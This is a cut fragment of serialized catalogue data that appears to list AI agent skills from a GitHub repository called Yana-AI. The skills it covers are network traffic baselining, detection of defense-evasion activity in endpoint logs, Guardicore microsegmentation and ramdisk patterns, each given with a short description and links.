trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":117,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":125,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":130,"name":131,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]